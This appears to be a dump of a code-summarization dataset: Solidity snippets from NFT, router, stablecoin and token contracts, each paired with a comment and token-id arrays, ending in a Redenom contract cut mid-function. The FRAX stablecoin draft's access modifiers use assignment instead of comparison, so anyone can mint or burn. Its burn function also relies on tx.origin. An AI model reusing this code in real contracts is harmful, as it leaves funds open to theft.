2254,
5034,
1071,
943,
4188,
6275,
31,
203,
565,
2254,
5034,
1071,
943,
16936,
6275,
31,
203,
203,
565,
2874,
12,
2867,
516,
1426,
13,
3238,
389,
291,
16461,
1265,
2954,
281,
31,
203,
203,
565,
2874,
12,
2867,
516,
1426,
13,
1071,
18472,
690,
3882,
278,
12373,
10409,
31,
203,
203,
565,
871,
2315,
984,
291,
91,
438,
58,
22,
8259,
12,
203,
3639,
1758,
8808,
394,
1887,
16,
203,
3639,
1758,
8808,
1592,
1887,
203,
565,
11272,
203,
203,
565,
871,
20760,
1265,
2954,
281,
12,
2867,
8808,
2236,
16,
1426,
353,
16461,
1769,
203,
565,
871,
20760,
8438,
13971,
1265,
2954,
281,
12,
2867,
8526,
9484,
16,
1426,
353,
16461,
1769,
203,
203,
565,
871,
1000,
22932,
690,
3882,
2
]
|
./full_match/3/0xFAFD46f3671b1fcfd7906CAe158C3008c2fFc358/sources/PhilsonNFT.sol | Import dependencies from the OpenZeppelin library | import "@openzeppelin/[email protected]/token/ERC721/ERC721.sol";
| 8,119,815 | [
1,
5010,
5030,
628,
326,
3502,
62,
881,
84,
292,
267,
5313,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
5666,
8787,
3190,
94,
881,
84,
292,
267,
19,
16351,
87,
36,
24,
18,
24,
18,
20,
19,
2316,
19,
654,
39,
27,
5340,
19,
654,
39,
27,
5340,
18,
18281,
14432,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./full_match/420/0x8Af7C7d19857a3596F735F5daff729291E9ceff0/sources/lib/tokenid.sol | @notice return the token id. will return 0 if the id is an nft explicit guard against use on an nft | function idToken(uint256 id) pure returns (uint32) {
if (
0x0 !=
(id &
0x00000000ffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
) return 0;
return
uint32(
(id &
0xffffffff00000000000000000000000000000000000000000000000000000000) >>
(256 - 32)
);
}
| 13,228,012 | [
1,
2463,
326,
1147,
612,
18,
903,
327,
374,
309,
326,
612,
353,
392,
290,
1222,
5515,
11026,
5314,
999,
603,
392,
290,
1222,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
915,
612,
1345,
12,
11890,
5034,
612,
13,
16618,
1135,
261,
11890,
1578,
13,
288,
203,
565,
309,
261,
203,
3639,
374,
92,
20,
480,
203,
3639,
261,
350,
473,
203,
5411,
374,
92,
12648,
9460,
9460,
9460,
9460,
9460,
9460,
9460,
9460,
9460,
9460,
9460,
9460,
9460,
9460,
13,
203,
565,
262,
327,
374,
31,
203,
565,
327,
203,
3639,
2254,
1578,
12,
203,
5411,
261,
350,
473,
203,
7734,
374,
28857,
12648,
12648,
12648,
12648,
12648,
12648,
12648,
13,
1671,
203,
7734,
261,
5034,
300,
3847,
13,
203,
3639,
11272,
203,
97,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
pragma solidity ^0.6.0;
import "./Context.sol";
import "./IERC20.sol";
import "./SafeMath.sol";
import "./fxs.sol";
contract FRAXStablecoin is ERC20 {
using SafeMath for uint256;
string public symbol;
uint8 public decimals = 18;
address[] public owners;
uint256 ownerCount; //number of different addresses that hold FRAX
mapping(address => uint256) public balances;
//an array of frax pool addresses for future use
//the addresses in this array are added by the oracle and these contracts are able to mint frax
address[] frax_pools_array;
//mapping is also used for faster verification
mapping(address => bool) public frax_pools;
mapping(address => uint256) public pool_prices;
//add frax hop and backstep contracts here and other future monetary policy contracts
mapping(address => bool) public frax_monetary_policy_contracts;
uint256 phase2_startTime; //epoch time of phase 2 start, fractional phase
uint256 last_hop_time; //epoch time of last FRAX expansion
uint256 public FRAX_price; //6 decimals of precision
uint256 public FXS_price; //6 decimals of precision
uint256 public global_collateral_ratio; //6 decimals of precision, e.g. 924102 = 0.924102
address oracle_address; //this is the address that can change the FRAX and FXS price
ERC20 collateral_token;
uint256 public redemption_fee;
uint256 lastCollectionTime; //last time user collected interest on their frax
uint256 interestRatePerDay; //the current interest rate offered for frax paid in FXS
modifier onlyMonPol() {
require(frax_monetary_policy_contracts[msg.sender] = true, "only frax expansion-retraction contracts can use this!");
_;
}
modifier onlyPools() {
require(frax_pools[msg.sender] = true, "only frax pools can mint new FRAX");
_;
}
modifier onlyByOracle() {
require(msg.sender == oracle_address, "you're not the oracle :p");
_;
}
constructor(
string memory _symbol,
address _oracle_address)
public
{
symbol = _symbol;
oracle_address = _oracle_address;
}
//public implementation of internal _mint()
function mint(uint256 amount) public virtual onlyMonPol {
_mint(msg.sender, amount);
}
//used by pools when user redeems1t1
function poolBurn(uint256 amount) public onlyPools {
_burn(tx.origin,amount);
}
//adds collateral addresses supported, such as tether and busd, must be ERC20
function setNewPool(address pool_address) public onlyByOracle {
frax_pools[pool_address] = true;
frax_pools_array.push(pool_address);
}
//adds the monetary policy contracts, hop, backstep etc
function setMonetaryPolicyContract(address con_address) public onlyByOracle {
frax_monetary_policy_contracts[con_address] = true;
}
// the updated price must be within 10% of the old price
// this is to prevent accidental mispricings
// a change of greater than 10% requires multiple transactions
//need to create this logic
function setPrices(uint256 FRAX_p,uint256 FXS_p) public onlyByOracle {
FRAX_price = FRAX_p;
FXS_price = FXS_p;
}
function setGlobalCollateralRatio(uint256 coll_ra) public onlyByOracle {
require(coll_ra < 1000000, "collateral ratio must have 6 decimals of precision and never go above 0.999999");
global_collateral_ratio = coll_ra;
}
function setOracle(address new_oracle) public onlyByOracle {
oracle_address = new_oracle;
}
function setRedemptionFee(uint256 red_fee) public onlyByOracle {
redemption_fee = red_fee;
}
function n_collateral_ratio() public view returns (uint256) {
return collateral_token.balanceOf(address(this)).div(totalSupply());
}
//this function is what other frax pools will call to mint new FRAX
function pool_mint(address m_address, uint256 m_amount) public onlyPools {
super._mint(m_address, m_amount);
}
//this function also needs to be called any time there is a transfer of FRAX so that interest is paid
function collect_interest() public {
uint256 daysSinceLastCollect = now.sub(lastCollectionTime).div(86400); // 86400 sec in 1 day
uint256 newInterests = daysSinceLastCollect.mul(interestRatePerDay).mul(balanceOf(msg.sender));
_mint(msg.sender, newInterests);
lastCollectionTime = now;
}
}
| public implementation of internal _mint() | function mint(uint256 amount) public virtual onlyMonPol {
_mint(msg.sender, amount);
}
| 1,758,252 | [
1,
482,
4471,
434,
2713,
389,
81,
474,
1435,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
312,
474,
12,
11890,
5034,
3844,
13,
1071,
5024,
1338,
11415,
5850,
288,
203,
3639,
389,
81,
474,
12,
3576,
18,
15330,
16,
3844,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./full_match/5/0xC54819E590e3F93D23f29814B79826A91Ed17737/sources/project_/contracts/libraries/SmartRouterHelper.sol | bytes32 internal constant V2_INIT_CODE_HASH = 0xd0d4c4cd0848c93cb4fd1f498d7013ee6bfb25783ea21593d5834f5d250ece66; BSC TESTNET bytes32 internal constant V2_INIT_CODE_HASH = 0x00fb7f630766e6a796048ea87d01acd3068e8ff67d078148a3fa3f4a84f69bd5; BSC bytes32 internal constant V2_INIT_CODE_HASH = 0x6f26ccc53da0c40fde2e811a1ff976a00d976bfbfd30a082777b3cf5be5e3374; ETH, GOERLI | bytes32 internal constant V2_INIT_CODE_HASH = 0x6f26ccc53da0c40fde2e811a1ff976a00d976bfbfd30a082777b3cf5be5e3374;
| 1,945,865 | [
1,
3890,
1578,
2713,
5381,
776,
22,
67,
12919,
67,
5572,
67,
15920,
273,
374,
7669,
20,
72,
24,
71,
24,
4315,
20,
5193,
28,
71,
11180,
7358,
24,
8313,
21,
74,
7616,
28,
72,
27,
1611,
23,
1340,
26,
17156,
70,
2947,
8285,
23,
24852,
22,
3600,
11180,
72,
8204,
5026,
74,
25,
72,
26520,
73,
311,
6028,
31,
225,
605,
2312,
22130,
14843,
1731,
1578,
2713,
5381,
776,
22,
67,
12919,
67,
5572,
67,
15920,
273,
374,
92,
713,
19192,
27,
74,
4449,
8642,
6028,
73,
26,
69,
7235,
26,
3028,
28,
24852,
11035,
72,
1611,
1077,
72,
5082,
9470,
73,
28,
1403,
9599,
72,
20,
8285,
25005,
69,
23,
507,
23,
74,
24,
69,
5193,
74,
8148,
16410,
25,
31,
225,
605,
2312,
1731,
1578,
2713,
5381,
776,
22,
67,
12919,
67,
5572,
67,
15920,
273,
374,
92,
26,
74,
5558,
952,
71,
8643,
2414,
20,
2
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
| [
1,
565,
1731,
1578,
2713,
5381,
776,
22,
67,
12919,
67,
5572,
67,
15920,
273,
374,
92,
26,
74,
5558,
952,
71,
8643,
2414,
20,
71,
7132,
74,
323,
22,
73,
28,
2499,
69,
21,
1403,
29,
6669,
69,
713,
72,
29,
6669,
17156,
70,
8313,
5082,
69,
6840,
22,
14509,
70,
23,
8522,
25,
2196,
25,
73,
3707,
5608,
31,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
pragma solidity ^0.4.21;
// The GNU General Public License v3
// © Musqogees Tech 2018, Redenom ™
// -------------------- SAFE MATH ----------------------------------------------
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// Basic ERC20 functions
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public view returns (uint);
function balanceOf(address tokenOwner) public view returns (uint balance);
function allowance(address tokenOwner, address spender) public view returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Owned contract manages Owner and Admin rights.
// Owner is Admin by default and can set other Admin
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
address internal admin;
// modifier for Owner functions
modifier onlyOwner {
require(msg.sender == owner);
_;
}
// modifier for Admin functions
modifier onlyAdmin {
require(msg.sender == admin || msg.sender == owner);
_;
}
event OwnershipTransferred(address indexed _from, address indexed _to);
event AdminChanged(address indexed _from, address indexed _to);
// Constructor
function Owned() public {
owner = msg.sender;
admin = msg.sender;
}
function setAdmin(address newAdmin) public onlyOwner{
emit AdminChanged(admin, newAdmin);
admin = newAdmin;
}
function showAdmin() public view onlyAdmin returns(address _admin){
_admin = admin;
return _admin;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract Redenom is ERC20Interface, Owned{
using SafeMath for uint;
//ERC20 params
string public name; // ERC20
string public symbol; // ERC20
uint private _totalSupply; // ERC20
uint public decimals = 8; // ERC20
//Redenomination
uint public round = 1;
uint public epoch = 1;
bool public frozen = false;
//dec - sum of every exponent
uint[8] private dec = [0,0,0,0,0,0,0,0];
//mul - internal used array for splitting numbers according to round
uint[9] private mul = [1,10,100,1000,10000,100000,1000000,10000000,100000000];
//weight - internal used array (weights of every digit)
uint[9] private weight = [uint(0),0,0,0,0,5,10,30,55];
//current_toadd - After redenominate() it holds an amount to add on each digit.
uint[9] private current_toadd = [uint(0),0,0,0,0,0,0,0,0];
//Funds
uint public total_fund; // All funds for all epochs 1 000 000 NOM
uint public epoch_fund; // All funds for current epoch 100 000 NOM
uint public team_fund; // Team Fund 10% of all funds paid
uint public redenom_dao_fund; // DAO Fund 30% of all funds paid
struct Account {
uint balance;
uint lastRound; // Last round dividens paid
uint lastVotedBallotId; // Last epoch user voted
uint bitmask;
// 2 - got 0.55... for phone verif.
// 4 - got 1 for KYC
// 1024 - banned
//
// [2] [4] 8 16 32 64 128 256 512 [1024] ... - free to use
}
mapping(address=>Account) accounts;
mapping(address => mapping(address => uint)) allowed;
//Redenom special events
event Redenomination(uint indexed round);
event Epoch(uint indexed epoch);
event VotingOn(uint indexed _ballotId);
event VotingOff(uint indexed winner);
event Vote(address indexed voter, uint indexed propId, uint voterBalance, uint indexed curentBallotId);
function Redenom() public {
symbol = "NOMT";
name = "Redenom_test";
_totalSupply = 0; // total NOM's in the game
total_fund = 1000000 * 10**decimals; // 1 000 000.00000000, 1Mt
epoch_fund = 100000 * 10**decimals; // 100 000.00000000, 100 Kt
total_fund = total_fund.sub(epoch_fund); // Taking 100 Kt from total to epoch_fund
}
// New epoch can be started if:
// - Current round is 9
// - Curen epoch < 10
// - Voting is over
function StartNewEpoch() public onlyAdmin returns(bool succ){
require(frozen == false);
require(round == 9);
require(epoch < 10);
require(votingActive == false);
dec = [0,0,0,0,0,0,0,0];
round = 1;
epoch++;
epoch_fund = 100000 * 10**decimals; // 100 000.00000000, 100 Kt
total_fund = total_fund.sub(epoch_fund); // Taking 100 Kt from total to epoch fund
emit Epoch(epoch);
return true;
}
///////////////////////////////////////////B A L L O T////////////////////////////////////////////
/*
struct Account {
uint balance;
uint lastRound; // Last round dividens paid
uint lastVotedBallotId; // Last epoch user voted
uint[] parts; // Users parts in voted projects
uint bitmask;
*/
//Is voting active?
bool public votingActive = false;
uint public curentBallotId = 0;
uint public curentWinner;
// Voter requirements:
modifier onlyVoter {
require(votingActive == true);
require(bitmask_check(msg.sender, 4) == true); //passed KYC
require(bitmask_check(msg.sender, 1024) == false); // banned == false
require((accounts[msg.sender].lastVotedBallotId < curentBallotId));
_;
}
// This is a type for a single Project.
struct Project {
uint id; // Project id
uint votesWeight; // total weight
bool active; //active status.
}
Project[] public projects;
struct Winner {
uint id;
uint projId;
}
Winner[] public winners;
function addWinner(uint projId) internal {
winners.push(Winner({
id: curentBallotId,
projId: projId
}));
}
function findWinner(uint _ballotId) public constant returns (uint winner){
for (uint p = 0; p < winners.length; p++) {
if (winners[p].id == _ballotId) {
return winners[p].projId;
}
}
}
// Add prop. with id: _id
function addProject(uint _id) public onlyAdmin {
projects.push(Project({
id: _id,
votesWeight: 0,
active: true
}));
}
// Turns project ON and OFF
function swapProject(uint _id) public onlyAdmin {
for (uint p = 0; p < projects.length; p++){
if(projects[p].id == _id){
if(projects[p].active == true){
projects[p].active = false;
}else{
projects[p].active = true;
}
}
}
}
// Returns proj. weight
function projectWeight(uint _id) public constant returns(uint PW){
for (uint p = 0; p < projects.length; p++){
if(projects[p].id == _id){
return projects[p].votesWeight;
}
}
}
// Returns proj. status
function projectActive(uint _id) public constant returns(bool PA){
for (uint p = 0; p < projects.length; p++){
if(projects[p].id == _id){
return projects[p].active;
}
}
}
// Vote for proj. using id: _id
function vote(uint _id) public onlyVoter returns(bool success){
require(frozen == false);
for (uint p = 0; p < projects.length; p++){
if(projects[p].id == _id && projects[p].active == true){
projects[p].votesWeight += sqrt(accounts[msg.sender].balance);
accounts[msg.sender].lastVotedBallotId = curentBallotId;
}
}
emit Vote(msg.sender, _id, accounts[msg.sender].balance, curentBallotId);
return true;
}
// Shows currently winning proj
function winningProject() public constant returns (uint _winningProject){
uint winningVoteWeight = 0;
for (uint p = 0; p < projects.length; p++) {
if (projects[p].votesWeight > winningVoteWeight && projects[p].active == true) {
winningVoteWeight = projects[p].votesWeight;
_winningProject = projects[p].id;
}
}
}
// Activates voting
// Clears projects
function enableVoting() public onlyAdmin returns(uint ballotId){
require(votingActive == false);
require(frozen == false);
curentBallotId++;
votingActive = true;
delete projects;
emit VotingOn(curentBallotId);
return curentBallotId;
}
// Deactivates voting
function disableVoting() public onlyAdmin returns(uint winner){
require(votingActive == true);
require(frozen == false);
votingActive = false;
curentWinner = winningProject();
addWinner(curentWinner);
emit VotingOff(curentWinner);
return curentWinner;
}
// sqrt root func
function sqrt(uint x) internal pure returns (uint y) {
uint z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
///////////////////////////////////////////B A L L O T////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////////////////////////////
// NOM token emission functions
///////////////////////////////////////////////////////////////////////////////////////////////////////
// Pays 1.00000000 from epoch_fund to KYC-passed user
// Uses payout(), bitmask_check(), bitmask_add()
// adds 4 to bitmask
function pay1(address to) public onlyAdmin returns(bool success){
require(bitmask_check(to, 4) == false);
uint new_amount = 100000000;
payout(to,new_amount);
bitmask_add(to, 4);
return true;
}
// Pays .555666XX from epoch_fund to user approved phone;
// Uses payout(), bitmask_check(), bitmask_add()
// adds 2 to bitmask
function pay055(address to) public onlyAdmin returns(bool success){
require(bitmask_check(to, 2) == false);
uint new_amount = 55566600 + (block.timestamp%100);
payout(to,new_amount);
bitmask_add(to, 2);
return true;
}
// Pays .555666XX from epoch_fund to KYC user in new epoch;
// Uses payout(), bitmask_check(), bitmask_add()
// adds 2 to bitmask
function pay055loyal(address to) public onlyAdmin returns(bool success){
require(epoch > 1);
require(bitmask_check(to, 4) == true);
uint new_amount = 55566600 + (block.timestamp%100);
payout(to,new_amount);
return true;
}
// Pays random number from epoch_fund
// Uses payout()
function payCustom(address to, uint amount) public onlyOwner returns(bool success){
payout(to,amount);
return true;
}
// Pays [amount] of money to [to] account from epoch_fund
// Counts amount +30% +10%
// Updating _totalSupply
// Pays to balance and 2 funds
// Refreshes dec[]
// Emits event
function payout(address to, uint amount) private returns (bool success){
require(to != address(0));
require(amount>=current_mul());
require(bitmask_check(to, 1024) == false); // banned == false
require(frozen == false);
